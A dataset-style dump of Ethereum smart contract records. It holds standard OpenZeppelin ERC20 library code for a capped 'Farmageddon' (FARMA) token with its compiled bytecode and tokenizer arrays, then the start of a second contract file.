[IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // /** * @dev Extension of {ERC20} that adds a cap to the supply of tokens. */ abstract contract ERC20Capped is ERC20 { uint256 private _cap; /** * @dev Sets the value of the `cap`. This value is immutable, it can only be * set once during construction. */ constructor (uint256 cap) public { require(cap > 0, "ERC20Capped: cap is 0"); _cap = cap; } /** * @dev Returns the cap on the token's total supply. */ function cap() public view returns (uint256) { return _cap; } /** * @dev See {ERC20-_beforeTokenTransfer}. * * Requirements: * * - minted tokens must not cause the total supply to go over the cap. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { super._beforeTokenTransfer(from, to, amount); if (from == address(0)) { // When minting tokens require(totalSupply().add(amount) <= _cap, "ERC20Capped: cap exceeded"); } } } // contract Farma is ERC20Capped { constructor(uint256 _initialSupply) public ERC20("Farmageddon", "FARMA") ERC20Capped(_initialSupply) { _mint(msg.sender, _initialSupply); } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80633950935111610071578063395093511461028157806370a08231146102e557806395d89b411461033d578063a457c2d7146103c0578063a9059cbb14610424578063dd62ed3e14610488576100b4565b806306fdde03146100b9578063095ea7b31461013c57806318160ddd146101a057806323b872dd146101be578063313ce56714610242578063355274ea14610263575b600080fd5b6100c1610500565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101015780820151818401526020810190506100e6565b50505050905090810190601f16801561012e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101886004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105a2565b60405180821515815260200191505060405180910390f35b6101a86105c0565b6040518082815260200191505060405180910390f35b61022a600480360360608110156101d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105ca565b60405180821515815260200191505060405180910390f35b61024a6106a3565b604051808260ff16815260200191505060405180910390f35b61026b6106ba565b6040518082815260200191505060405180910390f35b6102cd6004803603604081101561029757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c4565b60405180821515815260200191505060405180910390f35b610327600480360360208110156102fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610777565b6040518082815260200191505060405180910390f35b6103456107bf565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561038557808201518184015260208101905061036a565b50505050905090810190601f1680156103b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61040c600480360360408110156103d657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b60405180821515815260200191505060405180910390f35b6104706004803603604081101561043a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061092e565b60405180821515815260200191505060405180910390f35b6104ea6004803603604081101561049e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061094c565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105985780601f1061056d57610100808354040283529160200191610598565b820191906000526020600020905b81548152906001019060200180831161057b57829003601f168201915b5050505050905090565b60006105b66105af610a60565b8484610a68565b6001905092915050565b6000600254905090565b60006105d7848484610c5f565b610698846105e3610a60565b6106938560405180606001604052806028815260200161112360289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610649610a60565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f209092919063ffffffff16565b610a68565b600190509392505050565b6000600560009054906101000a900460ff16905090565b6000600654905090565b600061076d6106d1610a60565b8461076885600160006106e2610a60565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109d390919063ffffffff16565b610a68565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108575780601f1061082c57610100808354040283529160200191610857565b820191906000526020600020905b81548152906001019060200180831161083a57829003601f168201915b5050505050905090565b600061092461086e610a60565b8461091f856040518060600160405280602581526020016111946025913960016000610898610a60565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f209092919063ffffffff16565b610a68565b6001905092915050565b600061094261093b610a60565b8484610c5f565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080828401905083811015610a51576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610aee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806111706024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b74576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110db6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ce5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061114b6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d6b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806110b86023913960400191505060405180910390fd5b610d76838383610fe0565b610de1816040518060600160405280602681526020016110fd602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f209092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e74816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109d390919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fcd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f92578082015181840152602081019050610f77565b50505050905090810190601f168015610fbf5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b610feb838383610a5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110b25760065461103d8261102f6105c0565b6109d390919063ffffffff16565b11156110b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f45524332304361707065643a206361702065786365656465640000000000000081525060200191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212208c5903535a8a311b4de0a1215fa391f77a307e8bcb4a5929ca5c0dae72f20fa564736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 23352, 2629, 6305, 20958, 25746, 2692, 2063, 19317, 2278, 2487, 3207, 2549, 2546, 2581, 14526, 2497, 2581, 21619, 2050, 22022, 2692, 2546, 2581, 2278, 2692, 2549, 2497, 2575, 2683, 2581, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1013, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 11570, 1999, 2107, 1037, 3622, 1008, 5450, 1010, 2144, 2043, 7149, 2007, 28177, 2078, 18804, 1011, 11817, 1996, 4070, 6016, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,779
0x9755dF41020fD43924E74657283Dbc89d78D804c
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; // /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, 